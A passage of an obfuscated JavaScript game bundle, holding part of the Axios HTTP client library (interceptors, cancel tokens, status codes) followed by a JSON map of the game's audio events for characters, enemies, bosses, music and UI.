(_0x493f69['unshift']['apply'](_0x493f69, _0x199a1b), _0x493f69['push']['apply'](_0x493f69, _0x3360b3), _0x5139ac = _0x493f69['length'], _0x1c3dd9 = Promise['resolve'](_0x441cb8); _0x139581 < _0x5139ac;)_0x1c3dd9 = _0x1c3dd9['then'](_0x493f69[_0x139581++], _0x493f69[_0x139581++]); return _0x1c3dd9; } _0x5139ac = _0x199a1b['length']; let _0x24a039 = _0x441cb8; for (_0x139581 = 0x0; _0x139581 < _0x5139ac;) { const _0xbc40d4 = _0x199a1b[_0x139581++], _0x1eb8cb = _0x199a1b[_0x139581++]; try { _0x24a039 = _0xbc40d4(_0x24a039); } catch (_0x35aeb7) { _0x1eb8cb['call'](this, _0x35aeb7); break; } } try { _0x1c3dd9 = _0x465d17['call'](this, _0x24a039); } catch (_0x4233c3) { return Promise['reject'](_0x4233c3); } for (_0x139581 = 0x0, _0x5139ac = _0x3360b3['length']; _0x139581 < _0x5139ac;)_0x1c3dd9 = _0x1c3dd9['then'](_0x3360b3[_0x139581++], _0x3360b3[_0x139581++]); return _0x1c3dd9; } ['getUri'](_0x5b2fb0) { return _0x5b39f1(_0x45e58d((_0x5b2fb0 = _0x376ceb(this['defaults'], _0x5b2fb0))['baseURL'], _0x5b2fb0['url']), _0x5b2fb0['params'], _0x5b2fb0['paramsSerializer']); } } _0x2b67d4['forEach'](['delete', 'get', 'head', 'options'], function (_0x15c748) { _0x4f47ac['prototype'][_0x15c748] = function (_0x1b70fe, _0x2c74f3) { return this['request'](_0x376ceb(_0x2c74f3 || {}, { 'method': _0x15c748, 'url': _0x1b70fe, 'data': (_0x2c74f3 || {})['data'] })); }; }), _0x2b67d4['forEach'](['post', 'put', 'patch'], function (_0x3691d3) { function _0x56035f(_0x2f4c12) { return function (_0x1b534f, _0xc50517, _0x2fb829) { return this['request'](_0x376ceb(_0x2fb829 || {}, { 'method': _0x3691d3, 'headers': _0x2f4c12 ? { 'Content-Type': 'multipart/form-data' } : {}, 'url': _0x1b534f, 'data': _0xc50517 })); }; } _0x4f47ac['prototype'][_0x3691d3] = _0x56035f(), _0x4f47ac['prototype'][_0x3691d3 + 'Form'] = _0x56035f(!0x0); }); var _0x56c4d4 = _0x4f47ac; class _0x2ddd25 { constructor(_0x408ac4) { if ('function' != typeof _0x408ac4) throw new TypeError('executor\x20must\x20be\x20a\x20function.'); let _0x2f06ba; this['promise'] = new Promise(function (_0x181cc0) { _0x2f06ba = _0x181cc0; }); const _0x37e0ef = this; this['promise']['then'](_0x3292b0 => { if (!_0x37e0ef['_listeners']) return; let _0x502947 = _0x37e0ef['_listeners']['length']; for (; _0x502947-- > 0x0;)_0x37e0ef['_listeners'][_0x502947](_0x3292b0); _0x37e0ef['_listeners'] = null; }), this['promise']['then'] = _0xc99f54 => { let _0x5a97a5; const _0x1a2f4f = new Promise(_0x51ab6a => { _0x37e0ef['subscribe'](_0x51ab6a), _0x5a97a5 = _0x51ab6a; })['then'](_0xc99f54); return _0x1a2f4f['cancel'] = function () { _0x37e0ef['unsubscribe'](_0x5a97a5); }, _0x1a2f4f; }, _0x408ac4(function (_0x248c54, _0x536516, _0x1264f6) { _0x37e0ef['reason'] || (_0x37e0ef['reason'] = new _0x2db72d(_0x248c54, _0x536516, _0x1264f6), _0x2f06ba(_0x37e0ef['reason'])); }); } ['throwIfRequested']() { if (this['reason']) throw this['reason']; } ['subscribe'](_0x1404c9) { this['reason'] ? _0x1404c9(this['reason']) : this['_listeners'] ? this['_listeners']['push'](_0x1404c9) : this['_listeners'] = [_0x1404c9]; } ['unsubscribe'](_0x20da66) { if (!this['_listeners']) return; const _0xff62de = this['_listeners']['indexOf'](_0x20da66); -0x1 !== _0xff62de && this['_listeners']['splice'](_0xff62de, 0x1); } ['toAbortSignal']() { const _0x3550c4 = new AbortController(), _0x41f617 = _0x3901c7 => { _0x3550c4['abort'](_0x3901c7); }; return this['subscribe'](_0x41f617), _0x3550c4['signal']['unsubscribe'] = () => this['unsubscribe'](_0x41f617), _0x3550c4['signal']; } static ['source']() { let _0x380e50; return { 'token': new _0x2ddd25(function (_0x51b64c) { _0x380e50 = _0x51b64c; }), 'cancel': _0x380e50 }; } } var _0x13687c = _0x2ddd25; const _0x5c3dac = { 'Continue': 0x64, 'SwitchingProtocols': 0x65, 'Processing': 0x66, 'EarlyHints': 0x67, 'Ok': 0xc8, 'Created': 0xc9, 'Accepted': 0xca, 'NonAuthoritativeInformation': 0xcb, 'NoContent': 0xcc, 'ResetContent': 0xcd, 'PartialContent': 0xce, 'MultiStatus': 0xcf, 'AlreadyReported': 0xd0, 'ImUsed': 0xe2, 'MultipleChoices': 0x12c, 'MovedPermanently': 0x12d, 'Found': 0x12e, 'SeeOther': 0x12f, 'NotModified': 0x130, 'UseProxy': 0x131, 'Unused': 0x132, 'TemporaryRedirect': 0x133, 'PermanentRedirect': 0x134, 'BadRequest': 0x190, 'Unauthorized': 0x191, 'PaymentRequired': 0x192, 'Forbidden': 0x193, 'NotFound': 0x194, 'MethodNotAllowed': 0x195, 'NotAcceptable': 0x196, 'ProxyAuthenticationRequired': 0x197, 'RequestTimeout': 0x198, 'Conflict': 0x199, 'Gone': 0x19a, 'LengthRequired': 0x19b, 'PreconditionFailed': 0x19c, 'PayloadTooLarge': 0x19d, 'UriTooLong': 0x19e, 'UnsupportedMediaType': 0x19f, 'RangeNotSatisfiable': 0x1a0, 'ExpectationFailed': 0x1a1, 'ImATeapot': 0x1a2, 'MisdirectedRequest': 0x1a5, 'UnprocessableEntity': 0x1a6, 'Locked': 0x1a7, 'FailedDependency': 0x1a8, 'TooEarly': 0x1a9, 'UpgradeRequired': 0x1aa, 'PreconditionRequired': 0x1ac, 'TooManyRequests': 0x1ad, 'RequestHeaderFieldsTooLarge': 0x1af, 'UnavailableForLegalReasons': 0x1c3, 'InternalServerError': 0x1f4, 'NotImplemented': 0x1f5, 'BadGateway': 0x1f6, 'ServiceUnavailable': 0x1f7, 'GatewayTimeout': 0x1f8, 'HttpVersionNotSupported': 0x1f9, 'VariantAlsoNegotiates': 0x1fa, 'InsufficientStorage': 0x1fb, 'LoopDetected': 0x1fc, 'NotExtended': 0x1fe, 'NetworkAuthenticationRequired': 0x1ff }; Object['entries'](_0x5c3dac)['forEach'](([_0x3bb9ba, _0x4b96b0]) => { _0x5c3dac[_0x4b96b0] = _0x3bb9ba; }); var _0x16d2a5 = _0x5c3dac; const _0x3d4a44 = function _0x15006f(_0xbf4484) { const _0x23b6a1 = new _0x56c4d4(_0xbf4484), _0x39c20e = _0x16bee4(_0x56c4d4['prototype']['request'], _0x23b6a1); return _0x2b67d4['extend'](_0x39c20e, _0x56c4d4['prototype'], _0x23b6a1, { 'allOwnKeys': !0x0 }), _0x2b67d4['extend'](_0x39c20e, _0x23b6a1, null, { 'allOwnKeys': !0x0 }), _0x39c20e['create'] = function (_0x186da5) { return _0x15006f(_0x376ceb(_0xbf4484, _0x186da5)); }, _0x39c20e; }(_0x50db7e); _0x3d4a44['Axios'] = _0x56c4d4, _0x3d4a44['CanceledError'] = _0x2db72d, _0x3d4a44['CancelToken'] = _0x13687c, _0x3d4a44['isCancel'] = _0x4d72ba, _0x3d4a44['VERSION'] = _0xb79aac, _0x3d4a44['toFormData'] = _0x47fb63, _0x3d4a44['AxiosError'] = _0x4c7eaa, _0x3d4a44['Cancel'] = _0x3d4a44['CanceledError'], _0x3d4a44['all'] = function (_0x3453f5) { return Promise['all'](_0x3453f5); }, _0x3d4a44['spread'] = function (_0x4ec03f) { return function (_0x599950) { return _0x4ec03f['apply'](null, _0x599950); }; }, _0x3d4a44['isAxiosError'] = function (_0x24b696) { return _0x2b67d4['isObject'](_0x24b696) && !0x0 === _0x24b696['isAxiosError']; }, _0x3d4a44['mergeConfig'] = _0x376ceb, _0x3d4a44['AxiosHeaders'] = _0x428cff, _0x3d4a44['formToJSON'] = _0x203181 => _0xcb21b0(_0x2b67d4['isHTMLForm'](_0x203181) ? new FormData(_0x203181) : _0x203181), _0x3d4a44['getAdapter'] = _0x324e2c['getAdapter'], _0x3d4a44['HttpStatusCode'] = _0x16d2a5, _0x3d4a44['default'] = _0x3d4a44, _0x369d41['exports'] = _0x3d4a44; }, 0x952: _0x5e92ce => { 'use strict'; _0x5e92ce['exports'] = JSON['parse']('{\x22characterJump\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Movement/Jump\x22},\x22characterDoubleJump\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Movement/Double\x20Jump\x22},\x22characterJumppadJump\x22:{\x22eventName\x22:\x22event:/Environment/Jump\x20Pad\x22},\x22characterLand\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Movement/Land\x22},\x22characterDash\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Movement/Dash\x22},\x22characterFootstep\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Movement/Walking\x20Footsteps\x22},\x22characterAttackChargeMelee1\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22characterAttackFireMelee1\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Sword\x22},\x22characterAttackHitsMelee1\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Hit\x22},\x22characterAttackChargeMelee2\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22characterAttackFireMelee2\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Sword\x202\x22},\x22characterAttackHitsMelee2\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Hit\x22},\x22characterAttackChargeMelee3\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22characterAttackFireMelee3\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Sword\x203\x22},\x22characterAttackHitsMelee3\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Hit\x22},\x22characterAttackChargeVertical\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22characterAttackFireVertical\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Sword\x22},\x22characterAttackHitsVertical\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Hit\x22},\x22characterAttackChargeDash\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Movement/Dash\x22},\x22characterAttackFireDash\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Fire\x20Dash\x22},\x22characterAttackHitsDash\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Hit\x22},\x22characterSpecialAttackCharge1\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22characterSpecialAttackFire1\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Blast\x22},\x22characterSpecialAttackHits1\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22characterSpecialAttackCharge2\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22characterSpecialAttackFire2\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Blast\x22},\x22characterSpecialAttackHits2\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Dragon\x20Blast\x22},\x22characterSpecialAttackCharge3\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22characterSpecialAttackFire3\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Blast\x22},\x22characterSpecialAttackHits3\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22characterDies\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Death\x22},\x22characterHurt\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Hurt\x22},\x22characterStunned\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22generalAttackChargeMelee1\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22enemySpawn\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spawn\x22},\x22enemyFlybotAttackCharge\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Charge\x22},\x22enemyFlybotAttackFire\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Blast\x22},\x22enemyFlybotAttackHit\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Impact\x22},\x22enemyPortalBlobAttackCharge\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Charge\x22},\x22enemyPortalBlobAttackFire\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Blast\x22},\x22enemyPortalBlobAttackkHit\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Impact\x22},\x22enemyFirebotAttackCharge\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Fire\x20Bot/Charge\x22},\x22enemyFirebotAttackFire\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Fire\x20Bot/Blast\x22},\x22enemyFirebotAttackFlame\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Fire\x20Bot/Flame\x22},\x22enemyBallbotAttackCharge\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Ball\x20Bot/Charge\x22},\x22enemyBallbotAttackFire\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Ball\x20Bot/Attack\x22},\x22enemyBallbotFootstep\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Footsteps/Small\x20Metallic\x22},\x22enemyBallbotFootstepHeavy\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Footsteps/Small\x20Metallic\x22},\x22enemyPortalBeamAttackCharge\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spider\x20Bot/Charge\x22},\x22enemyPortalBeamAttackFire\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spider\x20Bot/Attack\x22},\x22enemySpiderBeamAttackCharge\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spider\x20Bot/Charge\x20New\x22},\x22enemySpiderBeamAttackFire\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spider\x20Bot/Blast\x22},\x22enemySpiderBeamAttackHit\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Impact\x22},\x22enemySpiderZapAttackCharge\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spider\x20Bot/Charge\x22},\x22enemySpiderZapAttackFire\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spider\x20Bot/Blast\x22},\x22enemySpiderZapAttackHit\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Impact\x22},\x22enemySpiderMultizapAttackCharge\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spider\x20Bot/Charge\x20New\x22},\x22enemySpiderMultizapAttackFire\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Red\x20Spider\x20Bot/Blast\x20Final\x22},\x22enemySpiderFootstep\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Footsteps/Large\x20Metallic\x22},\x22enemySpiderFootstepHeavy\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Footsteps/Large\x20Metallic\x22},\x22enemySpiderIdle\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spider\x20Bot/Idle\x22},\x22enemySpiderSpawn\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Spider\x20Bot/Spawn\x22},\x22enemyHandMeleeAttack\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hand/Attack\x22},\x22enemyHandMeleeHit\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Hit\x22},\x22enemyHandFootstep\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Footsteps/Small\x20Metallic\x22},\x22enemyHandIdle\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hand/Idle\x22},\x22enemyHands2Run\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Handsaw/Roll\x22},\x22enemyHandJump\x22:{\x22eventName\x22:\x22unimplemented\x22},\x22enemyHands2Jump\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Handsaw/Jump\x22},\x22enemyHands2Break\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Handsaw/Break\x22},\x22enemyHands2Land\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Handsaw/Land\x22},\x22explosionSmall\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Explosions\x22,\x22knownParameters\x22:[\x22Explosion\x20Size\x22]},\x22explosionMedium\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Explosions\x22,\x22knownParameters\x22:[\x22Explosion\x20Size\x22]},\x22explosionLarge\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Explosions\x22,\x22knownParameters\x22:[\x22Explosion\x20Size\x22]},\x22explosionDebris\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Explosion\x20Debris\x22,\x22knownParameters\x22:[\x22Debris\x20Size\x22]},\x22enemyStunned\x22:{\x22eventName\x22:\x22disabled\x22},\x22pickupHealth\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Special/Pickup\x22},\x22pickupAmmo1\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Special/Pickup\x202\x22},\x22pickupAmmo2\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Special/Pickup\x203\x22},\x22pickupAmmo3\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Special/Pickup\x22},\x22sceneAmbienceRain\x22:{\x22eventName\x22:\x22event:/Ambience/Outdoor\x20Rainy\x22,\x22groupName\x22:\x22ambience\x22},\x22sceneAmbienceWind\x22:{\x22eventName\x22:\x22event:/Ambience/Outdoor\x20Wind\x22,\x22groupName\x22:\x22ambience\x22},\x22sceneAmbienceWindNight\x22:{\x22eventName\x22:\x22event:/Ambience/Outdoor\x20Wind\x20Night\x22,\x22groupName\x22:\x22ambience\x22},\x22Home\x2001\x22:{\x22eventName\x22:\x22event:/Music/UI/Home\x2001\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22Portals\x2001\x22:{\x22eventName\x22:\x22event:/Music/Levels/Portals\x2001\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22Portals\x2002\x22:{\x22eventName\x22:\x22event:/Music/Levels/Portals\x2002\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22Liquid\x20Nights\x22:{\x22eventName\x22:\x22event:/Music/Levels/Liquid\x20Nights\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22Portals\x2003\x22:{\x22eventName\x22:\x22event:/Music/Levels/Portals\x2003\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22Crystals\x22:{\x22eventName\x22:\x22event:/Music/Levels/Crystals\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22Defend\x22:{\x22eventName\x22:\x22event:/Music/Levels/Defend\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22musicResults\x22:{\x22eventName\x22:\x22event:/Music/UI/Results\x20Neutral\x22},\x22musicProtoHub\x22:{\x22eventName\x22:\x22event:/Music/Levels/Proto-Hub\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22musicSeeker\x22:{\x22eventName\x22:\x22event:/Music/Levels/Seeker\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22musicShadows\x22:{\x22eventName\x22:\x22event:/Music/Levels/Shadows\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22musicDeathFromAbove\x22:{\x22eventName\x22:\x22event:/Music/Levels/Death\x20From\x20Above\x22,\x22groupName\x22:\x22backgroundMusic\x22},\x22musicBoss01\x22:{\x22eventName\x22:\x22event:/Music/Boss/01\x22,\x22groupName\x22:\x22backgroundMusic\x22,\x22knownParameters\x22:[\x22Boss\x20Level\x22]},\x22playerTeleportIn\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Teleport\x20In\x22},\x22playerTeleportOut\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Teleport\x20Out\x22},\x22portalSummon\x22:{\x22eventName\x22:\x22event:/Environment/Portal/Spawn\x22},\x22portalCharge\x22:{\x22eventName\x22:\x22disabled\x22},\x22portalLocked\x22:{\x22eventName\x22:\x22event:/Environment/Portal/Locked\x22},\x22portalUnlocked\x22:{\x22eventName\x22:\x22event:/Environment/Portal/Unlocked\x22},\x22portalLockAlert\x22:{\x22eventName\x22:\x22event:/Environment/Portal/Lock\x20Alert\x22},\x22portalShutdown\x22:{\x22eventName\x22:\x22event:/Environment/Portal/Shutdown\x22},\x22promptAreaClear\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Area\x20Clear\x22},\x22promptDestroyAllEnemyWaves\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Destroy\x20All\x20Enemy\x20Waves\x22},\x22promptWave\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Wave\x22,\x22knownParameters\x22:[\x22Parameter\x201\x22]},\x22promptFinalWave\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Final\x20Wave\x22},\x22promptDisableEnemyPortals\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Disable\x20Enemy\x20Portals\x22},\x22promptPortalDisabled\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Portal\x20Disabled\x22,\x22knownParameters\x22:[\x22Parameter\x201\x22]},\x22promptPortalShutdownActivated\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Shutdown\x20Activated\x22},\x22promptPortalShutdownInterupted\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Shutdown\x20Interrupted\x22},\x22promptPortalShutdown\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Shutdown\x22,\x22knownParameters\x22:[\x22Shutdown\x22]},\x22promptProtectTheGenerators\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Protect\x20The\x20Generators\x22},\x22promptGeneratorUnderAttack\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Generator\x20Under\x20Attack\x22,\x22knownParameters\x22:[\x22Parameter\x201\x22]},\x22promptGeneratorDestroyed\x22:{\x22eventName\x22:\x22event:/Environment/Prompt/Generator\x20Destroyed\x22,\x22knownParameters\x22:[\x22Parameter\x201\x22]},\x22characterSpecialAttackHadouken\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Haduken\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22characterSpecialAttackBeam\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Beam\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22characterSpecialAttackTripleStrike1\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Triple\x20Strike\x20A\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22characterSpecialAttackTripleStrike2\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Triple\x20Strike\x20B\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22characterSpecialAttackTripleStrike3\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Triple\x20Strike\x20C\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22characterSpecialAttackHomingDart\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Homing\x20Dart\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22characterSpecialAttackRepelWave\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Repel\x20Wave\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22characterSpecialAttackLobbedBomblaunch\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Lobbed\x20Bomb/Launch\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22characterSpecialAttackLobbedBombbounce\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Lobbed\x20Bomb/Bounce\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22characterSpecialAttackLobbedBombexplosion\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/Attacks/Lobbed\x20Bomb/Explosion\x22,\x22knownParameters\x22:[\x22Ability\x20Level\x22]},\x22resultList\x22:{\x22eventName\x22:\x22event:/UI/Results\x20Screen/List\x22},\x22bossStateOpenBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/Open\x22},\x22bossStateTransitionToPhase2Begins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/Transition\x201\x22},\x22bossStateTransitionToPhase2Fallen\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/Transition\x202\x22},\x22bossStateDyingBegins\x22:{\x22eventName\x22:\x22disabled\x22},\x22bossStateDyingFallen\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/Transition\x202\x22},\x22bossStatePilotTeleportsOut\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/Dying\x20Teleport\x22},\x22bossStatePrepareBlobsBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossStatePrepareBlobsBegins\x22},\x22bossSingleBlobAttackBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossSingleBlobAttackBegins\x22},\x22bossSingleBlobCooldownBegins\x22:{\x22eventName\x22:\x22disabled\x22},\x22bossSingleBlobGroundHit\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Hover\x20Bot/Energy\x20Weapon\x20Impact\x22},\x22bossStatePrepareLightningsBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossStatePrepareLightningsBegins\x22},\x22bossSingleLightningAimEnds\x22:{\x22eventName\x22:\x22disabled\x22},\x22bossSingleLightningAttackBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossSingleLightningAttackBegins\x22},\x22bossStatePrepareMeleeDownBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossStatePrepareMeleeDownBegins\x22},\x22bossStateAttackMeleeDownBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossStateAttackMeleeDownBegins\x22},\x22bossSingleMeleeDownAttackBegins\x22:{\x22eventName\x22:\x22disabled\x22},\x22bossDoubleMeleeDownAttackBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossStatePrepareMeleeDownBegins\x22},\x22bossStatePrepareMegabeamBegins_1\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/BossStatePrepareMegabeamBegins_1\x22},\x22bossStatePrepareMegabeamBegins_2\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossStatePrepareMegabeamBegins_2\x22},\x22bossStateAttackMegabeamBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossStateAttackMegabeamBegins\x22},\x22bossStateAttackMegabeamEnds\x22:{\x22eventName\x22:\x22disabled\x22},\x22bossStateGroundFlame\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/Ground\x20Fire\x22},\x22bossStatePrepareBeamspamBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/BossStatePrepareMegabeamBegins_1\x22},\x22bossStateAttackSingleBeamsInBeamspamBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossStateAttackMegabeamBegins\x22},\x22bossStateAttackBeamspamEnds\x22:{\x22eventName\x22:\x22disabled\x22},\x22bossStatePrepareHomingBallsBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossStatePrepareHomingBallsBegins\x22},\x22bossSingleHomingBallAttackBegins\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossSingleHomingBallAttackBegins\x22},\x22bossSingleHomingBallAttackBegins_Last\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/bossSingleHomingBallAttackBegins\x22},\x22bossTeleportOut\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/Teleport\x20Out\x22},\x22bossTeleportIn\x22:{\x22eventName\x22:\x22event:/Characters/Enemies/Boss/Boss\x2001/Teleport\x20In\x22},\x22resultCount\x22:{\x22eventName\x22:\x22event:/UI/Results\x20Screen/Counter\x22},\x22resultBeep\x22:{\x22eventName\x22:\x22event:/UI/Results\x20Screen/Beep\x22},\x22uiWoosh1\x22:{\x22eventName\x22:\x22event:/UI/General/Woosh\x201\x22},\x22uiWoosh2\x22:{\x22eventName\x22:\x22event:/UI/General/Woosh\x202\x22},\x22uiDialogText\x22:{\x22eventName\x22:\x22event:/UI/Dialog/Text\x22},\x22uiDialogWooshDeep\x22:{\x22eventName\x22:\x22event:/UI/Dialog/Woosh\x20Deep\x22},\x22uiErrorAmmo\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/CooldownError\x22},\x22uiPerkHover\x22:{\x22eventName\x22:\x22event:/UI/Perks/Hover\x22},\x22uiPerkSelect\x22:{\x22eventName\x22:\x22event:/UI/Perks/Select\x22},\x22uiPerkScreenAppears\x22:{\x22eventName\x22:\x22event:/Characters/Main\x20Character/General/Teleport\x20Out\x22},\x22uiPerkTile\x22:{\x22eventName\x22:\x22event